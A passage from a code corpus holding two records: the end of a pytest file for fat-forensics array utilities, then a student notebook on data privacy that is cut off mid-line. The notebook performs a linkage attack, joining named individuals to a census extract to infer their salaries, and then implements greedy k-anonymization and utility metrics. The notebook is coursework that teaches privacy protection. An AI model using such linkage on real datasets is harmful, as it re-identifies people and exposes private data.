fuat.get_invalid_indices(NUMERICAL_STRUCTURED_ARRAY,\n                                    np.array(['complex', 'numbers']))\n    assert np.array_equal(gind, np.array([]))\n    #\n    gind = fuat.get_invalid_indices(WIDE_STRUCTURED_ARRAY,\n                                    np.array(['complex', 'numbers']))\n    assert np.array_equal(gind, np.array([]))\n\n\ndef test_are_indices_valid():\n    \"\"\"\n    Tests :func:`fatf.utils.array.tools.are_indices_valid` function.\n    \"\"\"\n    type_error = 'Input arrays should be numpy array-like objects.'\n    incorrect_shape_array = 'The input array should be 2-dimensional.'\n    incorrect_shape_indices = 'The indices array should be 1-dimensional.'\n    with pytest.raises(TypeError) as exin:\n        fuat.are_indices_valid(None, np.ones((4, )))\n    assert str(exin.value) == type_error\n    with pytest.raises(TypeError) as exin:\n        fuat.are_indices_valid(None, np.ones((4, 4)))\n    assert str(exin.value) == type_error\n    with pytest.raises(TypeError) as exin:\n        fuat.are_indices_valid(np.ones((4, )), None)\n    assert str(exin.value) == type_error\n    with pytest.raises(TypeError) as exin:\n        fuat.are_indices_valid(None, np.ones((4, 4)))\n    assert str(exin.value) == type_error\n    # Incorrect shape array\n    with pytest.raises(IncorrectShapeError) as exin:\n        fuat.are_indices_valid(np.ones((5, )), np.ones((4, 4)))\n    assert str(exin.value) == incorrect_shape_array\n    with pytest.raises(IncorrectShapeError) as exin:\n        fuat.are_indices_valid(np.ones((5, )), np.ones((4, )))\n    assert str(exin.value) == incorrect_shape_array\n    with pytest.raises(IncorrectShapeError) as exin:\n        fuat.are_indices_valid(np.ones((5, 3)), np.ones((4, 4)))\n    assert str(exin.value) == incorrect_shape_indices\n\n    assert not fuat.are_indices_valid(NUMERICAL_NP_ARRAY, np.array([0, 2]))\n    assert not fuat.are_indices_valid(NUMERICAL_NP_ARRAY, np.array(['a', 1]))\n    assert fuat.are_indices_valid(NUMERICAL_NP_ARRAY, np.array([1, 0]))\n    #\n    assert not fuat.are_indices_valid(NOT_NUMERICAL_NP_ARRAY, np.array([0, 2]))\n    assert not fuat.are_indices_valid(NOT_NUMERICAL_NP_ARRAY,\n                                      np.array(['a', 1]))  # yapf: disable\n    assert fuat.are_indices_valid(NOT_NUMERICAL_NP_ARRAY, np.array([0, 1]))\n    #\n    assert not fuat.are_indices_valid(NUMERICAL_STRUCTURED_ARRAY,\n                                      np.array([0, 'numbers']))\n    assert not fuat.are_indices_valid(NUMERICAL_STRUCTURED_ARRAY,\n                                      np.array([0]))  # yapf: disable\n    assert fuat.are_indices_valid(NUMERICAL_STRUCTURED_ARRAY,\n                                  np.array(['complex', 'numbers']))\n    #\n    assert fuat.are_indices_valid(WIDE_STRUCTURED_ARRAY,\n                                  np.array(['complex', 'numbers']))\n\n\ndef test_generalise_dtype():\n    \"\"\"\n    Tests :func:`fatf.utils.array.tools.generalise_dtype`.\n    \"\"\"\n    error_msg = 'The {} dtype is not one of the base types (strings/numbers).'\n    with pytest.raises(ValueError) as exin:\n        fuat.generalise_dtype(np.dtype(np.datetime64), np.dtype(np.datetime64))\n    assert str(exin.value) == error_msg.format('first')\n\n    with pytest.raises(ValueError) as exin:\n        fuat.generalise_dtype(np.dtype(np.float64), np.dtype(np.datetime64))\n    assert str(exin.value) == error_msg.format('second')\n\n    dtype_int = np.dtype(int)\n    dtype_int32 = np.dtype(np.int32)\n    dtype_int64 = np.dtype(np.int64)\n    dtype_float = np.dtype(float)\n    dtype_float16 = np.dtype(np.float16)\n    dtype_float32 = np.dtype(np.float32)\n    dtype_float64 = np.dtype(np.float64)\n    dtype_str = np.dtype(str)\n    dtype_str4 = np.dtype('U4')\n    dtype_str11 = np.dtype('U11')\n    dtype_str16 = np.dtype('U16')\n    dtype_str21 = np.dtype('U21')\n    dtype_str32 = np.dtype('U32')\n\n    assert dtype_int64 is fuat.generalise_dtype(dtype_int, dtype_int32)\n    assert dtype_int64 is fuat.generalise_dtype(dtype_int, dtype_int64)\n    assert dtype_int64 is fuat.generalise_dtype(dtype_int32, dtype_int64)\n    assert dtype_int64 is fuat.generalise_dtype(dtype_int, dtype_int)\n\n    assert dtype_float64 is fuat.generalise_dtype(dtype_float, dtype_float)\n    assert dtype_float64 is fuat.generalise_dtype(dtype_float64, dtype_float)\n    assert dtype_float64 is fuat.generalise_dtype(dtype_int, dtype_float32)\n    assert dtype_float64 is fuat.generalise_dtype(dtype_int32, dtype_float32)\n    assert dtype_float32 is fuat.generalise_dtype(dtype_float32, dtype_float16)\n\n    assert dtype_str4 is fuat.generalise_dtype(dtype_str, dtype_str4)\n    assert dtype_str21 is fuat.generalise_dtype(dtype_str21, dtype_str4)\n\n    assert dtype_str16 == fuat.generalise_dtype(dtype_str11, dtype_str16)\n    assert dtype_str11 == fuat.generalise_dtype(dtype_int32, dtype_str4)\n    assert dtype_str21 == fuat.generalise_dtype(dtype_int64, dtype_str4)\n    assert dtype_str32 == fuat.generalise_dtype(dtype_float32, dtype_str4)\n    assert dtype_str32 == fuat.generalise_dtype(dtype_float64, dtype_str16)\n\n\ndef test_fatf_structured_to_unstructured_row():\n    \"\"\"\n    Tests :func:`fatf.utils.array.tools.fatf_structured_to_unstructured_row`.\n    \"\"\"\n    type_error = 'The input should be a row of a structured array.'\n    with pytest.raises(TypeError) as exin:\n        fuat.fatf_structured_to_unstructured_row(\n            np.array([b'123'], np.void)[0])\n    assert str(exin.value) == type_error\n    value_arror = ('structured_to_unstructured_row only supports conversion '\n                   'of structured rows that hold base numpy types, i.e. '\n                   'numerical and string-like -- numpy void and object-like '\n                   'types are not allowed.')\n    with pytest.raises(ValueError) as exin:\n        fuat.fatf_structured_to_unstructured_row(NOT_BASE_STRUCTURED_ARRAY[0])\n    assert str(exin.value) == value_arror\n\n    simple = fuat.fatf_structured_to_unstructured_row(\n        NUMERICAL_STRUCTURED_ARRAY[0])\n    assert _compare_nan_arrays(simple, NUMERICAL_UNSTRUCTURED_ARRAY[0])\n    simple = fuat.fatf_structured_to_unstructured_row(\n        NUMERICAL_STRUCTURED_ARRAY[2])\n    assert _compare_nan_arrays(simple, NUMERICAL_UNSTRUCTURED_ARRAY[2])\n    simple = fuat.fatf_structured_to_unstructured_row(\n        NUMERICAL_STRUCTURED_ARRAY[3])\n    assert _compare_nan_arrays(simple, NUMERICAL_UNSTRUCTURED_ARRAY[3])\n    #\n    simple = fuat.fatf_structured_to_unstructured_row(\n        NOT_NUMERICAL_STRUCTURED_ARRAY[0])\n    assert np.array_equal(simple, NOT_NUMERICAL_UNSTRUCTURED_ARRAY[0])\n    simple = fuat.fatf_structured_to_unstructured_row(\n        NOT_NUMERICAL_STRUCTURED_ARRAY[6])\n    assert np.array_equal(simple, NOT_NUMERICAL_UNSTRUCTURED_ARRAY[6])\n    simple = fuat.fatf_structured_to_unstructured_row(\n        NOT_NUMERICAL_STRUCTURED_ARRAY[7])\n    assert np.array_equal(simple, NOT_NUMERICAL_UNSTRUCTURED_ARRAY[7])\n    #\n    simple = fuat.fatf_structured_to_unstructured_row(WIDE_STRUCTURED_ARRAY[0])\n    assert _compare_nan_arrays(simple, WIDE_UNSTRUCTURED_ARRAY[0])\n    simple = fuat.fatf_structured_to_unstructured_row(WIDE_STRUCTURED_ARRAY[2])\n    assert _compare_nan_arrays(simple, WIDE_UNSTRUCTURED_ARRAY[2])\n\n    assert fuat.fatf_structured_to_unstructured_row(\n        np.array([(7, )], dtype=[('f', float)])[0]) == 7\n\n\ndef test_structured_to_unstructured_row():\n    \"\"\"\n    Tests :func:`fatf.utils.array.tools.structured_to_unstructured_row`.\n    \"\"\"\n    simple = fuat.fatf_structured_to_unstructured_row(\n        NUMERICAL_STRUCTURED_ARRAY[2])\n    assert _compare_nan_arrays(simple, NUMERICAL_UNSTRUCTURED_ARRAY[2])\n    assert fuat.fatf_structured_to_unstructured_row(\n        np.array([(7, )], dtype=[('f', float)])[0]) == 7\n    assert ('This function need not be tested as test_choose_structured_to_'\n            'unstructured and test_fatf_structured_to_unstructured_row tests '\n            'are sufficient and there is no straight forward way of testing '\n            'it.')\n\n\ndef test_choose_structured_to_unstructured(caplog):\n    \"\"\"\n    Tests :func:`fatf.utils.array.tools._choose_structured_to_unstructured`.\n    \"\"\"\n    # pylint: disable=protected-access\n    # Memorise current numpy version\n    installed_numpy_version = np.version.version\n    # Fake version lower than 1.16.0\n    np.version.version = '1.15.999'\n    log_message = (\"Using fatf's fatf.utils.array.tools.\"\n                   'fatf_structured_to_unstructured as fatf.utils.'\n                   'array.tools.structured_to_unstructured and fatf.utils.'\n                   'array.tools.fatf_structured_to_unstructured_row as '\n                   'fatf.utils.array.tools.structured_to_unstructured_row.')\n    assert fuat._choose_structured_to_unstructured()\n    assert len(caplog.records) == 1\n    assert caplog.records[0].levelname == 'INFO'\n    assert caplog.records[0].getMessage() == log_message\n    # Fake at least 1.16.0 version\n    np.version.version = '1.16.000'\n    log_message = (\"Using numpy's numpy.lib.recfunctions.\"\n                   'structured_to_unstructured as fatf.utils.array.tools.'\n                   'structured_to_unstructured and fatf.utils.array.tools.'\n                   'structured_to_unstructured_row.')\n    assert not fuat._choose_structured_to_unstructured()\n    assert len(caplog.records) == 2\n    assert caplog.records[1].levelname == 'INFO'\n    assert caplog.records[1].getMessage() == log_message\n    # Restore numpy version\n    assert len(caplog.records) == 2\n    np.version.version = installed_numpy_version\n\n\ndef test_fatf_structured_to_unstructured():\n    \"\"\"\n    Tests :func:`fatf.utils.array.tools.fatf_structured_to_unstructured`.\n    \"\"\"\n    # Wrong array types\n    type_error = 'structured_array should be a structured numpy array.'\n    with pytest.raises(TypeError) as exin:\n        fuat.fatf_structured_to_unstructured(NUMERICAL_NP_ARRAY)\n    assert str(exin.value) == type_error\n    with pytest.raises(TypeError) as exin:\n        fuat.fatf_structured_to_unstructured(NOT_NUMERICAL_NP_ARRAY)\n    assert str(exin.value) == type_error\n    with pytest.raises(TypeError) as exin:\n        fuat.fatf_structured_to_unstructured(WIDE_NP_ARRAY)\n    assert str(exin.value) == type_error\n\n    # Arrays of complex-types\n    value_error = ('fatf_structured_to_unstructured only supports conversion '\n                   'of arrays that hold base numpy types, i.e. numerical and '\n                   'string-like -- numpy void and object-like types are not '\n                   'allowed.')\n    complex_array = np.array([(None, object())],\n                             dtype=[('n', 'O'), ('o', 'O')])\n    with pytest.raises(ValueError) as exin:\n        fuat.fatf_structured_to_unstructured(complex_array)\n    assert str(exin.value) == value_error\n\n    # Right type\n    simple = fuat.fatf_structured_to_unstructured(NUMERICAL_STRUCTURED_ARRAY)\n    assert _compare_nan_arrays(simple, NUMERICAL_UNSTRUCTURED_ARRAY)\n    simple = fuat.fatf_structured_to_unstructured(\n        NOT_NUMERICAL_STRUCTURED_ARRAY)\n    assert np.array_equal(simple, NOT_NUMERICAL_UNSTRUCTURED_ARRAY)\n    simple = fuat.fatf_structured_to_unstructured(WIDE_STRUCTURED_ARRAY)\n    assert _compare_nan_arrays(simple, WIDE_UNSTRUCTURED_ARRAY)\n\n    simple = fuat.fatf_structured_to_unstructured(\n        np.array([(7, )], dtype=[('f', float)]))\n    assert np.array_equal(simple, np.array([[7]]))\n    simple = fuat.fatf_structured_to_unstructured(\n        np.array([(4, ), (2, )], dtype=[('f', float)]))\n    assert np.array_equal(simple, np.array([[4], [2]]))\n\n\ndef test_structured_to_unstructured():\n    \"\"\"\n    Tests :func:`fatf.utils.array.tools.structured_to_unstructured`.\n    \"\"\"\n    simple = fuat.structured_to_unstructured(NOT_NUMERICAL_STRUCTURED_ARRAY)\n    assert np.array_equal(simple, NOT_NUMERICAL_UNSTRUCTURED_ARRAY)\n    simple = fuat.structured_to_unstructured(\n        np.array([(7, )], dtype=[('f', float)]))\n    assert _compare_nan_arrays(simple, np.array([[7]]))\n    assert ('This function need not be tested as test_choose_structured_to_'\n            'unstructured and test_fatf_structured_to_unstructured tests are '\n            'sufficient and there is no straight forward way of testing it.')\n\n\ndef test_as_unstructured():\n    \"\"\"\n    Tests :func:`fatf.utils.array.tools.as_unstructured`.\n    \"\"\"\n    type_error = ('The input should either be a numpy (structured or '\n                  'unstructured) array-like object (numpy.ndarray) or a row '\n                  'of a structured numpy array (numpy.void).')\n    value_error = ('as_unstructured only supports conversion of arrays that '\n                   'hold base numpy types, i.e. numerical and string-like -- '\n                   'numpy void and object-like types are not allowed.')\n    # Test incompatible -- None -- type\n    with pytest.raises(TypeError) as exin:\n        fuat.as_unstructured(None)\n    assert str(exin.value) == type_error\n\n    # Test np.void -- a structured array's row\n    simple = fuat.as_unstructured(NUMERICAL_STRUCTURED_ARRAY[0])\n    assert _compare_nan_arrays(simple, NUMERICAL_UNSTRUCTURED_ARRAY[0])\n\n    # Test structured array\n    simple = fuat.as_unstructured(NOT_NUMERICAL_STRUCTURED_ARRAY)\n    assert np.array_equal(simple, NOT_NUMERICAL_UNSTRUCTURED_ARRAY)\n    # Test unstructured -- base type\n    simple = fuat.as_unstructured(BASE_NP_ARRAY)\n    assert np.array_equal(simple, BASE_NP_ARRAY)\n    # Test unstructured -- not base type\n    with pytest.raises(ValueError) as exin:\n        fuat.as_unstructured(NOT_BASE_NP_ARRAY)\n    assert str(exin.value) == value_error\n", "meta": {"hexsha": "35e6bb29b54126c21013618aef2cd77fae116c6f", "size": 25001, "ext": "py", "lang": "Python", "max_stars_repo_path": "fatf/utils/array/tests/test_tools_array.py", "max_stars_repo_name": "RafaelPo/fat-forensics", "max_stars_repo_head_hexsha": "edd3c7e149c4534d76fe2241bc919afc5c3c4581", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 48, "max_stars_repo_stars_event_min_datetime": "2019-09-12T04:54:48.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-27T01:49:55.000Z", "max_issues_repo_path": "fatf/utils/array/tests/test_tools_array.py", "max_issues_repo_name": "RafaelPo/fat-forensics", "max_issues_repo_head_hexsha": "edd3c7e149c4534d76fe2241bc919afc5c3c4581", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 4, "max_issues_repo_issues_event_min_datetime": "2019-11-04T00:01:15.000Z", "max_issues_repo_issues_event_max_datetime": "2021-01-27T16:35:29.000Z", "max_forks_repo_path": "fatf/utils/array/tests/test_tools_array.py", "max_forks_repo_name": "RafaelPo/fat-forensics", "max_forks_repo_head_hexsha": "edd3c7e149c4534d76fe2241bc919afc5c3c4581", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 11, "max_forks_repo_forks_event_min_datetime": "2019-09-17T13:39:43.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-27T11:04:33.000Z", "avg_line_length": 44.8046594982, "max_line_length": 79, "alphanum_fraction": 0.6808927643, "include": true, "reason": "import numpy", "num_tokens": 6496, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.11436851561661299, "lm_q1q2_score": 0.05495163319377162}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"HW1 - COE426.ipynb\n\nAutomatically generated by Colaboratory.\n\nOriginal file is located at\n    \n\n#Abdullah Alnasser\n#201535050\n\"\"\"\n\n#import all needed libraries\nimport pandas as pd\nimport numpy as np\nimport sys, resource\nimport re\nimport plotly.express as px\nfrom scipy.stats import entropy\nimport random\n\n#unlock colab resources for infinite memory and recursion :)\nresource.setrlimit(resource.RLIMIT_STACK, (2**29,-1))\nsys.setrecursionlimit(10**6)\n\n#Set Columns of data set\nColumns = [\"Age\", \"Gender\", \"Marital\", \"Race_Status\", \"Birth_Place\", \"Language\", \"Occupation\", \"Income_(K)\"]\n\n#Load raw data set and append columns to it\nOriginal_DF = pd.read_csv(\"https://raw.githubusercontent.com/Alnasser0/COE426-HWs/master/HW1/ipums-assign1.csv\", names=Columns)\n\n#View data set\nOriginal_DF\n\n#Export data set (Can be viewed/download from left panel)\nOriginal_DF.to_csv('tablewithcolumns.csv', index=False)\n\n\"\"\"#Task1: Linkage attack (20 pts)\nDownload the file named \u201dipums.txt\u201d from blackboard and unzip\nit. Using Table 2 as external background information, perform\na data linkage attack to **find the annual salary of each person in\nthe table**. You are free to use any tool/programming language to\ncomplete this task, e.g., Excel, Python, Java, etc.\n\"\"\"\n\n#Load columns of table 2\nColumns2 = [\"Name\", \"Age\", \"Birth_Place\"]\n\n#Create a data frame and fill data of table 2\nTask1_DF = pd.DataFrame(columns=Columns2)\nTask1_DF=Task1_DF.append({'Name': \"Ahmed\", 'Age': 28, 'Birth_Place': 110}, ignore_index=True)\nTask1_DF=Task1_DF.append({'Name': \"Fatma\", 'Age': 44, 'Birth_Place': 4}, ignore_index=True)\nTask1_DF=Task1_DF.append({'Name': \"Ali\", 'Age': 17, 'Birth_Place': 199}, ignore_index=True)\nTask1_DF=Task1_DF.append({'Name': \"Abeer\", 'Age': 34, 'Birth_Place': 260}, ignore_index=True)\nTask1_DF=Task1_DF.append({'Name': \"Muhamad\", 'Age': 40, 'Birth_Place': 15}, ignore_index=True)\n\n#view table 2\nTask1_DF\n\n#Find the intersection of Original Data and Table 2\nmerged_inner = pd.merge(left=Task1_DF, right=Original_DF, on=['Age', 'Birth_Place'])\nmerged_inner\n\n\"\"\"#Sol of Task 1\n###We can see above that Ahmed income is 983K, Ali is 562K, Abeer is 536K, while Muhamad and Fatma cannot be determined due to different solutions, but we have narrowed their possibilities. If we had more attribute we could have got their salaries.\n\n-------------------------------------------------------------------\n\n#Task 2 - K-anonymization Implementation\nImplement the greedy partitioning algorithm that was discussed\nin the class using your preferred programming language. The sensitive attribute is Income. The remaining attributes are QuasiIdentifiers. The steps of the algorithm is shown in Figure 1.\nPlease read below for instructions on how to find and select the\nmean value.\n\"\"\"\n\n#Anonymize(partition) - done\n#if (no allowable multidimensional cut for partition) - done\n  #return \u00d8 : partition \u2192 summary - done\n#else{ - done\n  #  dim \u2190 choose_dimension() - done\n  #  fs \u2190 frequency_set(partition, dim) - done\n  #  splitVal \u2190 find_median(fs) - done\n  #  lhs \u2190 {t \u0404 partition : t:dim \u2264 split} - done\n  #  rhs \u2190 {t \u0404 partition : t:dim > split} - done\n  #  return Anonymize(rhs) \u222a Anonymize(lhs) - done\n#} - done\n\n\"\"\"(a) Number of records (n) is odd: the median is the value at\nthe position n+1/2 of the sorted list of values.\n(b) Number of records (n) is even:\ni. Find the value at position n/2\nii. Find the value at position n/2 + 1\niii. The median is either of them.\n*the median is the value at the position n/2 of the sorted list\n\n###Note \nif you would like to try the functions and see their output, you can put print statement inside them and call them. You need to run them before calling them. I believe you should only use Numeric Quasi values for the HW code to work. Always assume the data you use in algorithm is similar to HW. For example, Columns of Quasi comes first and at the end the column of Sensetive values. Quasi values should be always numeric, but Sensetive I think can be any. Furthermore, it may not work if the data has other values than Sensetive and Quasi (Like unsensitive or Categorical). All these are assumptions, and may be wrong or true.\n\"\"\"\n\n#Initialize parameters of algorithm. YOU HAVE TO SET THEM.\nK = 9 #K Value, Can be changed later no worries\ncycles = 0 #Should always be 0 when first calling algorithm. Used to check if cant cut partition.\nSensitive = ['Income_(K)']\nQuasi = [\"Age\", \"Gender\", \"Marital\", \"Race_Status\", \"Birth_Place\", \"Language\", \"Occupation\"]\nColumns = [\"Age\", \"Gender\", \"Marital\", \"Race_Status\", \"Birth_Place\", \"Language\", \"Occupation\", \"Income_(K)\"]\n\n#A function of Anon Algorithm. \n#it returns text -Col name-, where dim_count between length of Quasi indexes\n#if the program is running ok, cycles<1, return dimension with highest Entropy (Shannon Entropy). \n#Why did I choose this method? To have the best cuts. Shanon Entropy tell us which data column has the highest evenly distrbuted data.\n#I thought first of using the Standard Div, but it is not good if the data is not distrbuted, as it depends heavely on mean, which can be\n#affected by outliers and make bad cuts in terms of privacy/utility.\n#If program is not running ok (Old_Part == Part or Cant Cut Part), \n#return Random Quasi column\ndef choose_dimension(table, cycles):\n  Entropies = []\n  for i in range(len(Quasi)):\n    series = table[Quasi[i]]\n    series = series.value_counts()\n    ColEntropy = entropy(series)\n    Entropies.append(ColEntropy)\n  if (cycles == 0):\n   return Quasi[Entropies.index(max(Entropies))]\n  else:\n   return Quasi[random.randint(0, len(Quasi)-1)]\n\n#A function of Anon Algorithm. \n#it returns frequency table of a dim.\n#IT IS NO LONGER USED BECAUSE IT MAKES Anonymize() INEFFICIENT.\ndef frequency_set(partition, dim):\n  fs = partition[dim].value_counts().to_frame().reset_index().rename(columns = {dim:'Count','index':dim}).sort_values(by=[dim])\n  return fs\n\n#A function of Anon Algorithm.\n#it returns median value of a column/pandas series based on HW criteria\ndef find_median(partition, dim):\n  if (len(partition[dim])%2 != 0): #if records odd\n    return np.median(partition[dim])\n  else:\n    return partition[dim].sort_values().iloc[int(len(partition[dim])/2-1)] #if even\n\n#A function of Anon Algorithm.\n#it returns True if the algorithm cant cut partition. \n#It is impossible to cut partition if the records are less than or equal K\ndef Cant_Cut(K, partition):\n  if(len(partition.index) <= K):\n    return True\n  else:\n    return False\n\n#A function of Anon Algorithm.\n#it returns a summarized partition. The function takes a partition, \n#extracts the Numerical values of Quasi columns, and it returns \n#a categorical table with upper and lower bound values of that table for\n#all Quasi columns.\ndef Summarize(partition):\n  if partition.empty:\n    return partition\n  else:\n    for i in range(len(partition.columns)-1):\n      partition[Quasi[i]] = pd.cut(partition[Quasi[i]], bins=[partition[Quasi[i]].min(), partition[Quasi[i]].max()+1], right=False)\n    return partition\n\n#Define calls and Anonymize Algorithm\ndef Anonymize(partition, K):\n  global Empty_Summary # Reference empty pandas dataframe to use for summary.\n  global cycles #A variable to use as a counter if partition or algorithm bugged.\n  if (Cant_Cut(K, partition) or cycles>=len(Quasi)): #if partition is minimum (cant cut more) or algorithm bugged\n    cycles = 0\n    Empty_Summary=Empty_Summary.append(Summarize(partition), ignore_index=True) #Append to output\n    #print(Empty_Summary) #Remove this comment if you want to see the process of Anonymize.\n    return\n  else: #function calls and logic\n    dim = choose_dimension(partition, cycles) #get dim\n    #fs = frequency_set(partition, dim) # NOT NEEDED, INEFFICIENT.\n    splitVal = find_median(partition, dim) #get median\n    lhs = partition[partition[dim] <= splitVal]\n    rhs = partition[partition[dim] > splitVal]\n    if (Cant_Cut(K, lhs) or Cant_Cut(K, rhs)): #dont allow cuts not allowed (partition less then K)\n      cycles = cycles+1 #increment bugged factor\n      Anonymize(partition, K) #find other random cut if possible\n      return\n    else:\n      cycles = 0\n    Anonymize(lhs, K) #keep partioning\n    Anonymize(rhs, K) #keep partioning\n    return\n\n#Initialize empty dataframe, so you can append the result of summarized partition\n#Get Copy of HW data set\n#apply alogrithm and save into Colab (Access from left panel).\n#Repeat\n#Uncomment the code if you want to try something.\n'''\nK=3\nEmpty_Summary=pd.DataFrame(columns=Columns)\nPartition = Original_DF.copy()\nAnonymize(Partition,K)\nEmpty_Summary.to_csv('Anon-K{}.csv'.format(K), index=False)\nK=5\nEmpty_Summary=pd.DataFrame(columns=Columns)\nPartition = Original_DF.copy()\nAnonymize(Partition,K)\nEmpty_Summary.to_csv('Anon-K{}.csv'.format(K), index=False)\nK=7\nEmpty_Summary=pd.DataFrame(columns=Columns)\nPartition = Original_DF.copy()\nAnonymize(Partition,K)\nEmpty_Summary.to_csv('Anon-K{}.csv'.format(K), index=False)\nK=9\nEmpty_Summary=pd.DataFrame(columns=Columns)\nPartition = Original_DF.copy()\nAnonymize(Partition,K)\nEmpty_Summary.to_csv('Anon-K{}.csv'.format(K), index=False)\n'''\n\n#Check empty_set from after applying the function.\n#Empty_Summary\n\n#Load output of Greedy Algorithm for K3.\nK3_Greedy = pd.read_csv(\"https://github.com/Alnasser0/COE426-HWs/raw/master/HW1/Anon-K3.csv\")\n\n#Validate that Empty_Set (Output) has classes >=K\ndef Validate(Table, K): #This algorithm checks every class if they violate k rule.\n  i=0 #index of row\n  while (i < len(Table.index)): #Stop when you reach record 20k, since last index 19999\n    selected_row=Table.iloc[i,:] #get a row.\n    same_class = Table[ #Get All Rows that have same Quasi Values (Same Class)\n            (Table.Age==selected_row.Age)\n          & (Table.Gender==selected_row.Gender) \n          & (Table.Marital==selected_row.Marital)\n          & (Table.Race_Status==selected_row.Race_Status)\n          & (Table.Birth_Place==selected_row.Birth_Place)\n          & (Table.Language==selected_row.Language)\n          & (Table.Occupation==selected_row.Occupation)\n    ]\n    number = len(same_class) #Get How many records in a class\n    if (number < K): #Return Violation and Class if values less than K\n      return same_class, True\n    i=i+len(same_class.index) #else continue iteration through the all classes\n  return _, False #if no violation is found, return to user.\n\n#test above algorithm\nK=3\nTable, Output_Boolean = Validate(K3_Greedy, K) #call method with call.\nif (Output_Boolean):\n  print(\"Greedy Algorithm does violate the rule of K={}, and the class is: \\n\".format(K))\n  print(Table)\nelse:\n  print(\"The Algorithm works ok and your table is safe! :)\")\n\n\"\"\"#Task 3 - Utility Privacy Trade-off\n###Using your implementation of the anonymization algorithm in\n###Task2, find the anonymized table with k=3,5,7, and 9.\n###For each anonymized table compute the Discernibility metric\n###CDM and generalized information loss ILOSS given by the following equations.\n###Then, draw a figure for each metric against the value of k to\n###depict the privacy trade off. The x-axis should be the value of K, Y=metric\n\"\"\"\n\n#These tables I made using ARX\nK3_ARX = pd.read_csv(\"https://raw.githubusercontent.com/Alnasser0/COE426-HWs/master/HW1/ARX-K3.csv\")\nK5_ARX = pd.read_csv(\"https://raw.githubusercontent.com/Alnasser0/COE426-HWs/master/HW1/ARX-K5.csv\")\nK7_ARX = pd.read_csv(\"https://raw.githubusercontent.com/Alnasser0/COE426-HWs/master/HW1/ARX-K7.csv\")\nK9_ARX = pd.read_csv(\"https://raw.githubusercontent.com/Alnasser0/COE426-HWs/master/HW1/ARX-K9.csv\")\n\n#These tables I made using above Greedy Algorithm\nK3_Greedy = pd.read_csv(\"https://github.com/Alnasser0/COE426-HWs/raw/master/HW1/Anon-K3.csv\")\nK5_Greedy = pd.read_csv(\"https://github.com/Alnasser0/COE426-HWs/raw/master/HW1/Anon-K5.csv\")\nK7_Greedy = pd.read_csv(\"https://github.com/Alnasser0/COE426-HWs/raw/master/HW1/Anon-K7.csv\")\nK9_Greedy = pd.read_csv(\"https://github.com/Alnasser0/COE426-HWs/raw/master/HW1/Anon-K9.csv\")\n\n\"\"\"You can use EITHER tables, my algorithm works on both :)\n- Make sure you set the correct parameters from Task 2.\n\"\"\"\n\ndef CDM(Table):\n  CDM = 0\n  i=0\n  while (i < len(Table.index)): #Stop when you reach record 20k, since last index 19999\n    selected_row=Table.iloc[i,:] #Select One Row\n    same_class = Table[ #Get All Rows that have same Quasi Values (Same Class)\n           (Table.Age==selected_row.Age)\n         & (Table.Gender==selected_row.Gender) \n         & (Table.Marital==selected_row.Marital)\n         & (Table.Race_Status==selected_row.Race_Status)\n         & (Table.Birth_Place==selected_row.Birth_Place)\n         & (Table.Language==selected_row.Language)\n         & (Table.Occupation==selected_row.Occupation)\n    ]\n    CDM = CDM + np.power(len(same_class.index), 2) #Apply Equation to a Class\n    i=i+len(same_class.index) #Increment Selected Row.\n  return CDM #Return CDM Value\n\n#This function calculates Denominator of I_LOSS\ndef Get_Denominator(table, attribute): #it takes Quasi + Table\n  Attribute_Column = table[Quasi[attribute]] #it selects Attribute\n  Attribute_Column = Attribute_Column.sort_values() #it sorts values\n  Attribute_Column = Attribute_Column[Attribute_Column != \"*\"] #Ignore * values for ARX\n  Attribute_Column = Attribute_Column[~Attribute_Column.str.contains(\">=\")] #Ignore >= values for ARX\n  Ui = Attribute_Column.iloc[len(Attribute_Column)-1] #Get Biggest Value in that Column.\n  Ui = [int(s) for s in re.findall('\\d+', Ui)] #Convert Text Value to Numeric List\n  Ui = Ui[1]-1 #Get Upper Bound Value\n  Li = Attribute_Column.iloc[0] #Get Smallest Value in that Column\n  Li = [int(s) for s in re.findall('\\d+', Li)] #Convert Text Value to Numeric List\n  Li = Li[0] #Get Lower Bound Value\n  Denominator = Ui-Li #Find Denominator\n  return Denominator #Return Denominator of that Column\n\ndef Get_Numerator(i, table, attribute_selection): #ith row, a table, attribute\n  selected_row=table.iloc[i,:] #Select a row\n  same_class = table[ #Get All Rows that have same Quasi Values (Same Class)\n           (table.Age==selected_row.Age)\n         & (table.Gender==selected_row.Gender) \n         & (table.Marital==selected_row.Marital)\n         & (table.Race_Status==selected_row.Race_Status)\n         & (table.Birth_Place==selected_row.Birth_Place)\n         & (table.Language==selected_row.Language)\n         & (table.Occupation==selected_row.Occupation)\n    ]\n  E = len(same_class.index) #Find Length of E Class (# of Records)\n  i=i+len(same_class.index) #Shift/Increment Selected Row.\n  cell = same_class.iloc[0,attribute_selection] #Get cell values in a Class\n  if ((\"*\" in cell) or (\">=\" in cell)): #ignore * and >= (for ARX)\n    return 0, 0, i #Return No Values, just i shift.\n  Cell_Values = [int(s) for s in re.findall('\\d+', cell)] #Get a cell values (We Assume all cells we have in Quasi columns contain 2 values (upper and lower) or have (*/>=) values!)\n  UpperCell = Cell_Values[1]-1 #Get Upper Bound Value\n  LowerCell = Cell_Values[0] #Get Lower Bound Value\n  Numerator = UpperCell-LowerCell #Find Numerator\n  return Numerator, E, i #Return Numerator, Class Size, and shifted i.\n\ndef GenCalc(table): #Loss function, only takes a table\n  GenLoss = 0 #intilize Gen. Loss.\n  AttributeLength = len(Quasi) #Get Columns length\n  attribute_selection = 0 #Initialize iterate value to go over columns\n  Cardinality_Table = len(table.index) #Get T Value\n  Coefficient = 1/(AttributeLength*Cardinality_Table) #Calculate Coefficient\n  i=0 #Start from First Row.\n  while (attribute_selection < AttributeLength): #Iterate over all columns, and for each do.\n    Den = Get_Denominator(table, attribute_selection) #Get Get_Denominator for that column.\n    while (i < len(table.index)): #Find Loss of each class for the selected column. #Stop when you reach record 20k, since last index 19999\n      Nom, E, i = Get_Numerator(i, table, attribute_selection) #Get Numerator of a Class with Class Size and Shifted Position.\n      GenLoss = GenLoss + 